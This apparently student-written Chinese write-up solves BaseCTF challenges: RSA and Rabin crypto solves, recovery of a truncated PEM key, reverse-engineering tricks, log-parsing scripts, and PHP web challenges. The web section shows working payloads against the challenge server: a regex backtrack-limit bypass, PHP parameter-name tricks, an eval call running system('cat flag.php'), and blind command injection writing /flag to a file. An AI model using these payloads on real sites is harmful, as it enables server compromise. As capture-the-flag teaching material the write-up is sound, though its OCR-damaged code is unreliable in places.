8401117477657538780875643188332738787554165849629216699114442259593352747533918009
9553102321227683866520225700764035423704329112919734888491495666359724009466220792
9658519596987351984403258345205873566463643624175318315064440456858013874962784792
5644802869046206636951946898394318080829762483785091813271015573809788495459066919
0389666209552028896410179696509512986146705977555611061600788984624093621938137921
9605528051627402300580239311202137582442057
fz =
8293743447808770538387602513453590973115408119934633496256300854728928149598432483
5803624989887190854874371915331943863851717006065123763583882748253481641909194920
5584951292517303330452910012749674475329235689229498752425379611083979518257734473
9921868314742084008132838870456911454812377265788275591988284694623433423432877203
6915989963681637359206769888336136026972871978607102435415168231460807290234733569
1012713629816579496252896260869382806838857194293618332286500427694077400072428506
8978296897038729859547721056729922933346684853587858637797491539817219001353181668
11250762946069962348114491411585418993494561587403918162681937152503739843
fm = pow(10, 648)
for z in getGradualFra(continuedFra(fz, fm)):
    p, q = z
    if len(bin(p)[2:]) == 1024 and len(bin(q)[2:]) == 1024:
        phi = (p - 1) * (q - 1)
        d = gmpy2.invert(e, phi)
        m = pow(c, d, p * q)
```

```
m = long_to_bytes(m)
print(m)#b'BaseCTF{9431ee53-5d5c-4b0b-956f-1eafff6c9e87}'
```

[Week3] 没有n啊

题目附件如下：

```
from Crypto.Util.number import *
import gmpy2

flag=b'BaseCTF{}'
m=bytes_to_long(flag)

p=getPrime(512)
q=getPrime(512)

n=p*q
e=65537

phi=(p-1)*(q-1)
d=gmpy2.invert(e,phi)

c=pow(m,e,n)
x=pow(n,e,c)
print("c =",c)
print("e =",e)
print("d =",d)
print("x =",x)
'''

c =
5245342366379760050489681194682084131761579887587162784017271142374994699821791674
4135290476795328543876098295227017753117609268701786914053599060330837226980969490
4397396510887105498906695935876422388274621089006832377971395692605707116117815143
37884756698142193277516649805710242748531658979160170193283558
e = 65537
d =
5429783154886370109264419008625807288316337830724668151331742254590244265034091600
1357605211715836911877651782099787873046987096258918495734824011752504203578982947
6187847361819758473563047424021034683296603465261859086189788519820074960963941518
21403282347897417590596861323293706611997134962231129075032641
x =
4063586447399746075176693537377210758513330157952400083663768373194993934817118793
1595274511243052505604832873086269554842194695737052043633079044688826020656068356
5618568488145309479554293434838472913986073594548519264701684578524790441547981140
87493843073091985855839008222762224952503563764527380033064437
'''
```

分析完逻辑后，d都给了，想要解密就只需要拿到n就行了，解题切入点是那句奇怪的 $x = \text{pow}(n, e, c)$ 。

- 对于RSA加密后的密文 $c=m^e \bmod n$ 进行解密，需要用到 $d = e^{-1} \bmod \varphi(n)$ 中的 d ，也就是模 $\varphi(n)$ 下 e 的逆元
- $\varphi(n)$ 是欧拉函数，代表小于等于 n 并与 n 互质的数的个数，有一种简便计算方法如下：

$\varphi(n) = \prod (p_i - 1)^{c_i}$

其中 p_i 为 n 的所有质因子， c_i 为该质因子的个数。

我们知道RSA之所以难以破解，是因为 n 很难分解出质数 p 和 q ，但是如果 n 很容易分解，那求 $\varphi(n)$ 不就易如反掌？

对于 $\text{pow}(n,e,c)$ 中的模数 c ，它是 m 加密后的密文，其质因数组成应该是不可控的，也就是说应该很容易对其进行质因数分解，到 <https://factordb.com/> 中直接暴力分解质因数，得到结果如下：

52453423663797600504896811946820841317615798875871627840172711423749946998217916744135290476795328543 | Factorize!

Result:		
status (?	digits	number
FF	308 (show)	5245342366...58<308> = 2 · 3 · 73 · 3967 · 6373 · 95592293 · 216465863 · 4744823012787277141<19> · 4824599825...29<263>

那么 $\varphi(c)$ 就可以直接计算出，从而解出 n 。

exp如下：

```
from Crypto.Util.number import *
import gmpy2
...
c=pow(m,e,n)#c一定比n小
...
c =
5245342366379760050489681194682084131761579887587162784017271142374994699821791674
4135290476795328543876098295227017753117609268701786914053599060330837226980969490
4397396510887105498906695935876422388274621089006832377971395692605707116117815143
37884756698142193277516649805710242748531658979160170193283558
e = 65537
d =
5429783154886370109264419008625807288316337830724668151331742254590244265034091600
1357605211715836911877651782099787873046987096258918495734824011752504203578982947
6187847361819758473563047424021034683296603465261859086189788519820074960963941518
21403282347897417590596861323293706611997134962231129075032641
x =
4063586447399746075176693537377210758513330157952400083663768373194993934817118793
1595274511243052505604832873086269554842194695737052043633079044688826020656068356
5618568488145309479554293434838472913986073594548519264701684578524790441547981140
87493843073091985855839008222762224952503563764527380033064437

phic = (2 - 1) * (3 - 1) * (73 - 1) * (3967 - 1) * (6373 - 1) * (95592293 - 1) *
(216465863 - 1) * (4744823012787277141 - 1) *
(482459982538592555815465619421421673044345499969194849571207177637263255098334092
9617047161943429199025504469441498382125053826671729353591753491822135219819288507
1310932646412147737114561229291373456448363184353049796801297876664512630305475226
```

```

391199481032049429 - 1)
print(phi)

d2=gmpy2.invert(e,phi)
#注意一个坑·由c=pow(m,e,n)算出的c一定比n小·而由n=pow(x,d2,c)解出来的n一定比c小
#所以要在解出来的n后面加上k倍的c一个个把真正的n试出来·这题运气好·加一个c就找出真正的n了
n = pow(x, d2, c) + c
m = pow(c, d, n)
print(long_to_bytes(m))#b'BaseCTF{2eef8ef-ba57-4bed-9230-d280ac2273d8}'

```

[Week3] 没有n啊 _pro

题目附件如下：

```

from Crypto.Util.number import *
import gmpy2

flag=b'BaseCTF{}'
m=bytes_to_long(flag)
p=getPrime(128)
q=getPrime(128)

n=p*q
e=65537

phi=(p-1)*(q-1)
d=gmpy2.invert(e,phi)

assert d<phi

c=pow(m,e,n)
print("c =",c)
print("e =",e)
print("d =",d)
"""

c = 78919950899709764543039048006935881842075789773495004639436106636461009323420
e = 65537
d = 13002488326322253055272696035053386340217207134816593767440035447757509399233
"""

```

相比上题1·此题给的信息更少了·但是数据也更小了·根据定义式 $ed \equiv 1 \pmod{n}$ 可推知 $ed - 1 \mid n$, 即： $n \mid k(ed - 1)$ ·我们尝试将 $ed - 1$ 丢到factordb去分解质因数·得到了FF(Fully Factorized)的喜报：

852144077442181498483406680049293780578815103994475105736717603139683893497533120	Factorize!
---	----------------------------

Result:		
status	digits	number
FF	81 (show)	8521440774...20 = 2^6 · 3 · 5 · 7 · 11 · 23 · 37^2 · 107 · 109 · 2459411 · 387743680517 · 8461199191085678833423 · 3890467155441207614773027481

然后我们直接暴力穷举所有因数的组合即可，详见代码（请原谅这个ACMer式的抽象码风）：

```

from Crypto.Util.number import *
import gmpy2

ccc =
78919950899709764543039048006935881842075789773495004639436106636461009323420
e = 65537
d = 13002488326322253055272696035053386340217207134816593767440035447757509399233

print(e*d-1)

import itertools
f = [2, 2, 2, 2, 3, 5, 7, 11, 23, 37, 37, 107, 109, 2459411, 387743680517,
8461199191085678833423, 3890467155441207614773027481]#对phi/4分解质因数（用
factordb.com）

vaild = []

for l in range(1, len(f) + 1):
    for c in itertools.combinations(f, l):
        p = 1
        z = [1, 1]
        for i in c:
            p *= i
            z.append(i)
        if len(bin(p)[2:]) == 256:#暴力枚举出所有二进制长度为256的因数（128+128）
            vaild.append(z)

s = set()
print(len(vaild))#242

cnt = 0
for ff in vaild:
    v = 1
    for i in ff:
        v *= i
    for l in range(1, len(ff)):
        for c in itertools.combinations(ff, l):
            p = 1
            for i in c:
                p *= i
            if p % 2 == 0 and (v // p) % 2 == 0 and len(bin(p + 1)[2:]) == 128 and

```

```

len(bin(v // p + 1)[2:]) == 128:#检验其是否能表示为两个二进制长度为128的偶数
    s.add((p + 1) * (v // p + 1))#先不管它是不是只有俩质因数，塞进去再说，能满足上述分解条件的数不是很多，只有300左右
    if cnt % 1000000 == 0:
        print(cnt, len(s))#调试输出一些数据量，让你知道程序没死
    cnt += 1

for n in s:#暴力枚举n的所有可能
    m = pow(ccc, d, n)
    t = long_to_bytes(m)
    if t[:7] == b'BaseCTF':
        print(t)#b'BaseCTF{3e226a94-babb27696416}'

```

跑得挺快，六七秒就爆出来了：

```

852144077442181498483406680049293780578815103994475105736717603139683893497533120
242
0 0
1000000 102
2000000 129
3000000 221
4000000 224
5000000 304
6000000 323
b'BaseCTF{3e226a94-babb27696416}'

>>>

```

[Week4] rabin

题目附件如下：

```

from Crypto.Util.number import *
import gmpy2
import libnum

flag=b"BaseCTF{}"
m = bytes_to_long(flag)

p = getPrime(512)
q = getPrime(512)
assert p%4==3 and q%4==3
n = p*q
e = 4

c = pow(m,e,n)
print("p=",p)
print("q=",q)
print("n=",n)
print("c=",c)
print("e=",e)

```

题目是rabin，查到一些有关资料<https://zhuanlan.zhihu.com/p/533927542>，看不懂或懒得看？那么你只需要知道，rabin攻击可以求指数e为2时的四个可能的原文。

但是题目的e是4，不是2怎么办？其实不重要，把 m^4 当成 $(m^2)^2$ ，那跑两次rabin攻击不就行了？

exp如下：

```
from Crypto.Util.number import *
import gmpy2
import libnum

p=
8531212975719216550108614256955774722172741885676113601617182716356239301381951899
737237219659253655889636684200345109462928796329670321336864298557778843
q=
7443256287912111739335729314443559886458007838130371799255078565502662459436043455
787869631999073617967343884377537828940738213460508765519478956421282871
n=
635000046250394564392371912678912675584045744311299592659421338362133138522648744
3753506088788203040258384788149958095020759745138424276657604371402824844725005596
8906734689649610371680781053566691489605689746035814850456919906265202861848741155
19591663033533771400334558853058140717812903874350138362098253
c=
5145260843875713069713150819277572719160511291877218736457709722432606218428850160
2000700342623122861398852536963355962672293705131887315354242193416090384360837672
2588614750170984194591253959490905234747448864237544399195047327417126939095079727
91203801494594878447921609420574365853676576693694677914169353
e= 4

def rabin(c,p,q):
    mp = pow(c, (p + 1) // 4, p)
    mq = pow(c, (q + 1) // 4, q)
    inv_p = gmpy2.invert(p, q)
    inv_q = gmpy2.invert(q, p)

    a = (inv_p * p * mq + inv_q * q * mp) % n
    b = n - int(a)
    c = (inv_p * p * mq - inv_q * q * mp) % n
    d = n - int(c)
    return a,b,c,d

aa, bb, cc, dd = rabin(c,p,q)#两次rabin秒了

for j in rabin(aa,p,q):
    m = long_to_bytes(int(j))
    if m[:7] == b'BaseCTF':
        print(m)#b'BaseCTF{01c28b9c-7924-4c04-b71d-1cca15342618}'
```

[Week4] 哎呀数据丢失了

```
from Crypto.Util.number import *
from gmpy2 import *
from Crypto.PublicKey import RSA


flag=b"a"
m=bytes_to_long(flag)

rsa=RSA.generate(1024)
print(rsa)
c=pow(m,rsa.e,rsa.n)

with open("out",'wb') as f:
    f.write(long_to_bytes(c))

private_key=rsa.exportKey("PEM")
with open("pri.pem",'wb') as f:
    f.write(private_key)
```

还是一个RSA，只不过用文件保存了RSA加密的私钥，打开文件一看，私钥文件缺了一大半，out里的信息倒是没缺（你也看不出来缺没缺，就当这个没缺吧）



但是不急，我们上网查找PEM文件格式的解析(PKCS1) RSA 公私钥 pem 文件解析：

解析数据：

3082025C# 标签头，类型为SEQUENCE (sequence 序列)，此标签头共 4 字节。注（不确定）：
3082 应该指私钥

#以下共 604 字节 (0x025c)

020100 # 整型 长度为 0 (0x00), 内容: version

028181 # 整型 长度为 129 字节 (0x81), 内容: 模数 n (modulus)

00e7b0dd45eba985ea1eb2fd7a7237e654ff0e40c9e5818d9348aa2df7fc04e7e2a429c3e90
31eb2b217bb10fd1370ead89b33dd2233a54e035e37d39ba63db3d138926cdc9a01e8b6a8
ef84949b9f1a3bd4fe0adecb3b9d84fb7af98f20d089c75197a94884b8a03400d73c3fcaa0dc
1fad1ac2cb0e304c73198521dcf1e50779

0203 # 整型 长度为 3 字节(0x03), 内容: e (公钥指数^{*})

010001

028180 # 整型 长度为 128 字节(0x80), 内容: d (私钥指数^{*})

0554c882a75d8b3b4be18a7b9acd367b9632d9c2cb89239cd3fb367b924dfa98f8760d8ffb0
665ce3b458eaa841c010b62e6da9bc2dc76e314f3ebe694f8ae7e82bd7e8e3b7cbb17d4f14
263d4c328bd5d16566004098953b851dbb87f802a38af73ccb9bfec9eaee7fac92b6daad96d
7d49e90d68e5460a148aeb22334e6c41

0241 # 整型 长度为 65 字节(0x41), 内容: p (素数)

00f40c8cc874c39b3d452e5be257835d24cff6b2627de2af1666a799e073e6fd5997d238f7a1

对比后可以发现，私钥文件缺的只是两个素数的信息，而d, n的信息都在前面，刚好没丢失。

用cyberchef将现有的Base64导入，解码并转成字节，然后对着右图的定义一个个数字节，把n和d分别提取出来，再分别转回Base64后，就可以写exp解flag了

exp如下：

```
from Crypto.Util.number import *
from gmpy2 import *
from Crypto.PublicKey import RSA
import base64 as b64

n =
b64.b64decode("vSeEhBIq75pp7GRykCGd7Qbt0rdhFyGzJoULL1Bg2u7XaUNwZnxHnKnMtpafT75tx/p
nWayiHYqWqIGO5KAhdzJ1fmSdUDGRUR+pbauQu0dovo7yMnGX72cDdb0MDWaxF5FXTLFsOop0h5kf/g0UKv
LuA92rbZwB6B0hduutMjx0=")
```

```

n = bytes_to_long(n)

d =
b64.b64decode("ImXjVVkwca41AQYrR0a1v3r5GM68W0aHm80qCwqk8mtoxP234p9LLpQ6ZCH0Cr5onGt
PDCG2wYSIbVBW9GyiaQhUDsB7gq1H5meXGgH6xhYuk6f8Ya7VZg+CauujTXiszRj8WeeSFwHxD/UdUog3B
rhkKHz9s04wnJOcnSnYZ8k=")
d = bytes_to_long(d)

with open("out", 'rb') as f:
    c = f.read()
c = bytes_to_long(c)

m = pow(c, d, n)
m = long_to_bytes(m)
print(m)#b'BaseCTF{57e6c35a-2768-49f9-8aca-47a3abcf1c7}'

```

Pwn

不会，下次一定学

Web

[Fin] 1z_php

题目php源码如下：

```

<?php
highlight_file('index.php');
# 我记得她...好像叫flag.php吧？
$emp=$_GET['e_m.p'];
$try=$_POST['try'];
if($emp!="114514"&&intval($emp,0)===114514)
{
    for ($i=0;$i<strlen($emp);$i++){
        if (ctype_alpha($emp[$i])){
            die("你不是hacker？那请去外场等候！");
        }
    }
    echo "只有真正的hacker才能拿到flag！"."<br>";
}

if (preg_match('/.+?HACKER/is',$try)){
    die("你是hacker还敢自报家门呢？");
}
if (!strpos($try, 'HACKER') === TRUE){
    die("你连自己是hacker都不承认，还想要flag呢？");
}

$a=$_GET['a'];
$b=$_GET['b'];

```

```

$c=$_GET['c'];
if(strpos($b,'php')!==0){
    die("收手吧hacker · 你得不到flag的！");
}
echo (new $a($b))->$c();
}
else
{
    die("114514到底是啥意思嘞？。？");
}
# 觉得困难的话就直接把shell拿去用吧 · 不用谢~
$shell=$_POST['shell'];
eval($shell);
?>

```

先想办法给\$emp传参 · 要注意一个坑 :

- 当 php 版本小于 8 时 · GET 请求的参数名含有 . · 会被转为 _ · 但是如果参数名中有 [· 这个 [会被直接转为 _ · 但是后面如果有 . · 这个 . 就不会被转为 _ 。

那么“e_m.p”应该传入的GET参数名其实应该是“e[m.p]”。

再考虑怎么绕过这几句和\$emp有关的判断 :

```

if($emp!="114514" &&intval($emp,0)===114514)
{
    for ($i=0;$i<strlen($emp);$i++){
        if (ctype_alpha($emp[$i])){
            die("你不是hacker ? 那请去外场等候 !");
        }
    }
}

```

只需要让\$emp为“114514[任意非数字、非字母字符]”即可 · 比如“114514*”

再考虑怎么绕过这个和\$try有关的判断 :

```

if (preg_match('/.+?HACKER/is',$try)){
    die("你是hacker还敢自报家门呢 ?");
}
if (!strpos($try, 'HACKER') === TRUE){
    die("你连自己是hacker都不承认 · 还想要flag呢 ?");
}

```

第一个preg_match过滤了 “[任意数量任意字符]HACKER” (不区分大小写) 这种模式串 · 第二个strpos则要求 “HACKER” (不区分大小写) 前面必须有字符 。

这两个条件显然是冲突的 · 那么只能考虑用某种方法破坏掉其中一个 · 上网查询资料得知 :

- PHP 为了防止正则表达式的拒绝服务攻击 (reDOS) , 给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit 回溯次数上限默认是 100 万。如果回溯次数超过了 100 万 , preg_match 将不再返回非 1 和 0 , 而是 false。

那么我们可以构造一个长度为百万级别的字符串 , 把preg_match爆了 (最大回溯次数绕过) , 后面的strpos也能正常识别到后面的“HACKER”子串。

到了最后一步 , 题目给了\$shell接口 , 可以直接eval , 那么我们只要保证下面这段代码正确执行就行了 :

```
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
if(strpos($b,'php')!==0){
    die("收手吧hacker , 你得不到flag的 ! ");
}
echo (new $a($b))->$c();
```

与其想方设法构造特定的代码在这一步拿到flag , 不如跳过这一步 , 在后面那个eval随心所欲地执行任何代码。

直接找GPT要一组合法的参数并传入即可 :

为了绕过这个检查，我们可以使用以下方法：

- a 可以设置为任何可实例化的PHP内置类名。
- b 需要以 "php" 开头，但我们可以使用PHP的字符串解析特性来传递一个有效的类名。
- c 应该是类 a 的一个方法名。

这里有一个示例攻击向量：

- a 设置为 `Exception`，因为这是一个内置的PHP类。
- b 设置为 `phpinfo`。由于 `strpos` 检查 b 是否以 "php" 开头，我们可以直接使用 `phpinfo`，它是一个内置函数，但在这个上下文中作为字符串是有效的。
- c 设置为 `getMessage`，这是 `Exception` 类的一个方法。

最后一步就是找出flag在哪了，先ls一下

```
flag.php  
index.php
```

>>>

得知flag就在当前目录下，直接cat flag.php就可以拿到flag了

```
--<?php =BaseCTF{0af93c1d-a584-42c0-a928-4726264e4fb8}?>
```

>>>

完整exp如下：

```
import requests  
url="http://challenge.basectf.fun:22109/"  
  
data={
```

```

'try':'I AM '*200001+'HACKER!!',#构造百万级别字符串，让preg_match罢工
"shell":"system('cat flag.php');##system('ls');"
}
params={
    "e[m.p]:"114514*",
    "a":"Exception",
    "b":"phpinfo",
    "c":"getMessage"
}
r=requests.post(url,data = data,params = params)
t = r.text
print(t[t.find("phpinfo") + 7:])[#<?php =BaseCTF{0af93c1d-a584-42c0-a928-
4726264e4fb8}]?>

```

[Week2] 一起吃豆豆

直接F12开发者，切换至“网络”，然后刷新出资源文件，在“index.js”中，翻到最下面可以看到一串Base64编码，复制到cyberchef解密出来就可以拿到flag了

```

{
e = '#FFF';
bold 20px PressStart2P';
n = 'center';
line = 'middle';
(_LIFE ? atob("QmFzZUNURntKNV9nYW0zXzFzX2Vhc31fdDBfaDRjayEhfQ==") : 'GAME OVER', t

```

The screenshot shows the CyberChef interface with two sections: 'Input' and 'Output'. In the 'Input' section, the base64 encoded string 'QmFzZUNURntKNV9nYW0zXzFzX2Vhc31fdDBfaDRjayEhfQ==' is pasted. In the 'Output' section, the decrypted result 'BaseCTF{J5_gam3_1s_easy_t0_h4ck!!}' is displayed.

[Week2] 你听不到我的声音

题目php源码如下

```

<?php
highlight_file(__FILE__);
shell_exec($_POST['cmd']);

```

只有shell_exec，没有回显，考虑将回显重定向到外部文件，然后直接访问这个文件即可

```
消息体
cmd=cat /flag>1.txt
```

Reverse


[Fin] microgame

题目附件（不知道赛事结束后还能不能下）

打开附件是一个基于Unity写的游戏，先别急着上IDA等各种高大上的工具，我们先打开试玩一下，发现只需要把所有敌人都消灭了就能拿到flag了（只有67个），Tab打开暂停界面能开无敌（invincibility）。但是当你打完剩一只怪的时候，游戏会提示“只剩一只了”，按照小地图找，只能找到一处被地形围起来的密闭盒子，里面似乎就是最后一只怪。


方法一：

打开CE修改器，然后通过不断地跳，Tab暂停，落地，...把y轴坐标的地址找到，然后适当修改增加自己的y轴坐标，让自己落在那个盒子上方，再适当减少y轴坐标，就可以穿到那个盒子里面，看到最后的小怪了。



方法二：

开无敌之后，冲出初始房间，调整位置让小怪把你挤到那个盒子边，然后你就可以直接杀掉里面的小怪了。（如果清理完周边所有怪还是卡在墙里动不了，可以试试按C键下蹲爬出来）



(嫌枪弹药少，清怪不够快，可以试试用CE修改器锁定弹药)

[Week3] Dont-debug-me

题目附件

打开附件，解压出来的exe文件打开就闪退，我们直接将其拖到IDA。

在main流程里看到一个名字很奇怪的函数“ex1t”，过去看看定义，发现flag


```

1 void __cdecl exit(char *0)
2 {
3     uint8_t mg[64]; // [rsp+20h] [rbp-70h] BYREF
4     uint8_t key[32]; // [rsp+60h] [rbp-30h] BYREF
5     uint64_t n; // [rsp+88h] [rbp-8h]
6
7     strcpy((char *)key, "plz_dont_debugme");
8     key[17] = 0;
9     *(_WORD *)&key[18] = 0;
10    *(_DWORD *)&key[20] = 0;
11    *(_QWORD *)&key[24] = 0i64;
12    n = 128i64;
13    strcpy((char *)mg, "BaseCTF{Y0u_r3ally_kn0w_debugg!!!}");
14    memset(&mg[35], 0, 29);
15    s20(mg, 0x40ui64, key, 0x80ui64);
16    o00h(mg);
17 }

```

试了一下，是假flag，看起来必须让程序运行这句，才能拿到flag

分析主流程，为了绕过两次Debug检测，只需要把那两处的汇编代码从“jz”改成“jnz”就行了



记得在return那打断点，不然窗口一下子就没了

```
    return -1;
}
else if ( IsDebuggerPresentFlag() )
{
    exit(0);
return 0;
}
```

```
E:\Desktop\新建文件夹 (2)\Dont-debug-me - 副本.exe.bak
GoOoD boy !!!
typing 1 give you flag:
111
BaseCTF {8ea2710a717f89d83af695d312fe3b625df14a6ba6b3a74e15ed1e2d35cb10}
```

[Week3] 世界上最简单的题目

题目附件如下：


```
]]):#line:67
    print ("nooooo")#line:68
        # #免费的50分，复制粘贴直接秒
杀!!!!!! !!!!! !!!!! !!!!! !!!!! !!!!! !!!!! !!!!! !!!!! !!!!! !!!!! !
!
# #免费的50分，复制粘贴直接秒
杀!!!!!! !!!!! !!!!! !!!!! !!!!! !!!!! !!!!! !!!!! !!!!! !!!!! !
!
# #免费的50分，复制粘贴直接秒
杀!!!!!! !!!!! !!!!! !!!!! !!!!! !!!!! !!!!! !!!!! !!!!! !!!!! !
!
# #免费的50分，复制粘贴直接秒
杀!!!!!! !!!!! !!!!! !!!!! !!!!! !!!!! !!!!! !!!!! !!!!! !!!!! !
!
# #免费的50分，复制粘贴直接秒
杀!!!!!! !!!!! !!!!! !!!!! !!!!! !!!!! !!!!! !!!!! !!!!! !!!!! !
!
exit ()#line:69
print ("yes, your flag is")#line:75
print ("BaseCTF{"+''.join (0000000000000000 )+"}")#line:76
if __name__ == "__main__":#line:82
    main ()#line:83
```

码风似乎有点过于抽象了，把注释全删掉，然后用字符串批量替换功能给那一团变量随便改几个具有区分度的名字，整理后如下：

```
print ("yes, your flag is")#line:75
print ("BaseCTF{"+''.join (a)+"}")#line:76

if __name__ == "__main__":#line:82
    main ()#line:83
```

稍加分析可知，这是一个接受用户输入的字符串a，然后经过一段加密运算，加密成数组f1，并和数组f进行对比来判断用户的输入是否为flag。

那么很容易就能根据加密过程写出解密脚本：

PPC

我也不知道PPC是什么

[8号15点截止] BaseCTF 崩啦 - 导言 [Week3] [Week4]

题目附件

打开附件就能看到flag



悲报~ BaseCTF 崩溃啦!

7w 条提交记录, 服务器顶不住计算排行榜的压力, 崩溃啦!

Kengwang 拼尽全力抢救下来了数据和日志, 他悬赏了几个 Flag, 找到人能够对这些数据进行处理.

你说的对, 但是《BaseCTF》是由高校联合举办的一场 CTF 新生赛. 比赛开展在一个被称作「Base::CTF」的平台, 在这里, 被选中的人将被授予「Flag」, 导引 Hacker 之力. 你将扮演一位名为「GZCTF」的神秘角色, 在繁多的提交中找到姓名各异、能力独特的队伍, 和他们一起检查 Flag, 找回丢失的排行榜——同时, 逐步发掘「BaseCTF」的真相.

附件包含几个文件

- * teams.json 存储了参赛队伍的信息, `Name` 为队伍名称, `Members` 存储了队伍选手信息
- * challenges.json 存储了题目信息, `Points` 为题目分数, `EndAt` 为截止提交时间
- * flags.json 存储了 Flag 信息, `TeamId` 为队伍 ID, `ChallengeId` 为题目 ID, `Flag` 为他们正确的 Flag 内容

`submissions.log` 为提交的日志记录, 预期的格式为:

"[时间 INF] FlagChecker: 队伍 [队伍名] 提交题目 [题目] 的答案 [Flag] <用户名> @ IP"

你需要解析以上信息, 完成之后题目的要求

> 此题目为导言题, 请下载系列题目的附件, 本题的Flag 为 `BaseCTF{29a86c3b-8477-4deb-b089-989d0321a007}`

[8号15点截止] BaseCTF 崩啦 II - 过期了? [Week3] [Week4]

感觉这一系列的都是数据处理题, 这题我一开始是直接手动一个个找的, 数据量还算少, 写出来了。但后面的题数据量都挺大, 所以我又给这题重新写了个exp

```
import json
import hashlib
def MD5(data):
    md5 = hashlib.md5() # 创建一个md5对象
    md5.update(data.encode('utf-8')) # 使用utf-8编码更新数据
    return md5.hexdigest() # 返回十六进制的哈希值

with open("teams.json", "r") as f:
    teams = json.load(f)

with open("flags.json", "r") as f:
    flags = json.load(f)

with open("challenges.json", "r") as f:
    challenges = json.load(f)

id2name = {}
id2name_c = {}#从id到题目名映射

FLAG = {}#队伍id · 管理一堆map(题目名 · 对应正确flag)
CHALLENGE = {}#键为题目名, 管理每道题题目id以及截至时间 · 得分
TEAM = {}#flag找关联队伍
```

```
for team in teams:#注册所有有效队伍
    #if team["Name"] in vaild:
    #    print("怎么有队伍重名啊")#还真有一对重名的
    #    print(team)
    if team["Id"] == "235d4de0-51c6-7c03-7ab7-f509079f67d3":#特判一下那个重名队伍ID
        team["Name"] = "#" + team["Name"]
    id2name[team["Id"]] = team["Name"]
    FLAG[team["Name"]] = team
    FLAG[team["Name"]]["flag"] = {}
    FLAG[team["Name"]]["score"] = 0#注册初始分数

for c in challenges:#challenge名字建立映射关系
    id2name_c[c["Id"]] = c["Name"]
    CHALLENGE[c["Name"]] = c

for flag in flags:#为每个队伍注册flag信息
    teamName = id2name[flag["TeamId"]]
    cName = id2name_c[flag["ChallengeId"]]
    FLAG[teamName]["flag"][cName] = flag["Flag"]
    TEAM[flag["Flag"]] = teamName

import time as TiMe
from datetime import datetime

def str2time(s):
    if s.find("T") != -1:#2024-08-31T15:00:00+08:00
        return TiMe.strptime(s[:-6], "%Y-%m-%dT%H:%M:%S")
    else:#2024/8/31 20:19:41 +08:00
        return TiMe.strptime(s[:-7], "%Y/%m/%d %H:%M:%S")

def mstr(s,st,ed):
    s = s[s.find(st)+len(st):]
    s = s[:s.find(ed)]
    return s

def getInfo(s):
    if s.find("+08:00") == -1:
        print("？？？你的时区发生啥事")
    time = mstr(s, "[", " INF] ")
    team = mstr(s, "] FlagChecker: 队伍 [", "] 提交题目 ")
    flag = mstr(s, "] 的答案 [", "] <")
    submitter = mstr(s, "] <", ">")
    challenge = mstr(s, "] 提交题目 [", "] 的答案 [")
    return time, team, flag, submitter, challenge

v = []
with open("submissions.log", "r", encoding = 'utf8') as f:
    lines = f.readlines()
    for line in lines:
        time, teamName, flag, submitter, challengeName = getInfo(line)
        if teamName != "Damien Schroeder":
            continue

        if str2time(time) > str2time(CHALLENGE[challengeName]["EndAt"]):
```

```

    v.append([time, CHALLENGE[challengeName][ "Id"]])

v = sorted(v, key = lambda x : (x[0], x[1]))

FLAG = ""
for t, i in v:
    FLAG += i + ","

print("BaseCTF{" + MD5(FLAG[:-1]) + "}")#BaseCTF{f577e4522ccba9ed07727212657f139e}

```

[8号15点截止] BaseCTF 崩啦 III - 帮我查查队伍的解题 [Week3] [Week4]

这题我一开始也是直接手动一个个找的。。。

```

import json
import hashlib
def MD5(data):
    md5 = hashlib.md5() # 创建一个md5对象
    md5.update(data.encode('utf-8')) # 使用utf-8编码更新数据
    return md5.hexdigest() # 返回十六进制的哈希值

with open("teams.json", "r") as f:
    teams = json.load(f)

with open("flags.json", "r") as f:
    flags = json.load(f)

with open("challenges.json", "r") as f:
    challenges = json.load(f)

id2name = {}
id2name_c = {}#从id到题目名映射

FLAG = {}#队伍id · 管理一堆map(题目名 · 对应正确flag)
CHALLENGE = {}#键为题目名， 管理每道题题目id以及截至时间 · 得分
TEAM = {}#flag找关联队伍

for team in teams:#注册所有有效队伍
    if team["Id"] == "235d4de0-51c6-7c03-7ab7-f509079f67d3":#特判一下那个重名队伍ID
        team["Name"] = "#" + team["Name"]
    id2name[team["Id"]] = team["Name"]
    FLAG[team["Name"]] = team
    FLAG[team["Name"]]["flag"] = {}
    FLAG[team["Name"]]["score"] = 0#注册初始分数

challengesIdList = []#创建总Id表

for c in challenges:#challenge名字建立映射关系
    id2name_c[c["Id"]] = c["Name"]
    CHALLENGE[c["Name"]] = c
    challengesIdList.append(c["Id"])

```

```

for flag in flags:#为每个队伍注册flag信息
    teamName = id2name[flag["TeamId"]]
    cName = id2name_c[flag["ChallengeId"]]
    FLAG[teamName]["flag"][cName] = flag["Flag"]
    TEAM[flag["Flag"]] = teamName

import time as TiMe
from datetime import datetime

def str2time(s):
    if s.find("T") != -1:#2024-08-31T15:00:00+08:00
        return TiMe.strptime(s[:-6], "%Y-%m-%dT%H:%M:%S")
    else:#2024/8/31 20:19:41 +08:00
        return TiMe.strptime(s[:-7], "%Y/%m/%d %H:%M:%S")

def mstr(s,st,ed):
    s = s[s.find(st)+len(st):]
    s = s[:s.find(ed)]
    return s

def getInfo(s):
    if s.find("+08:00") == -1:
        print(" ? ? ? 你的时区发生啥事")
    time = mstr(s, "[", " INF] ")
    team = mstr(s, "] FlagChecker: 队伍 [", "] 提交题目 ")
    flag = mstr(s, "] 的答案 [", "] <")
    submitter = mstr(s, "] <", ">")
    challenge = mstr(s, "] 提交题目 [", "] 的答案 [")
    return time, team, flag, submitter, challenge

with open("submissions.log", "r", encoding = 'utf8') as f:
    lines = f.readlines()
    for line in lines:
        time, teamName, flag, submitter, challengeName = getInfo(line)
        if teamName != "Rick Hyatt":
            continue

        if flag == FLAG[teamName]["flag"][challengeName] and str2time(time) <=
str2time(CHALLENGE[challengeName]["EndAt"]):
            try:
                challengesIdList.remove(CHALLENGE[challengeName]["Id"])
            except:
                pass

FLAG = ""
for i in challengesIdList:
    FLAG += i + ","
print("BaseCTF{" + MD5(FLAG[:-1]) + "}")#BaseCTF{4f87919032dfc58a9a23044aab9acd99}

```

[8号15点截止] BaseCTF 崩啦 IV - 排排坐吃果果 [Week3] [Week4]

这题开始，应该只能代码操作了，人工统计不太现实

```
import json
import hashlib

def MD5(data):
    md5 = hashlib.md5() # 创建一个md5对象
    md5.update(data.encode('utf-8')) # 使用utf-8编码更新数据
    return md5.hexdigest() # 返回十六进制的哈希值

with open("teams.json", "r") as f:
    teams = json.load(f)

with open("flags.json", "r") as f:
    flags = json.load(f)

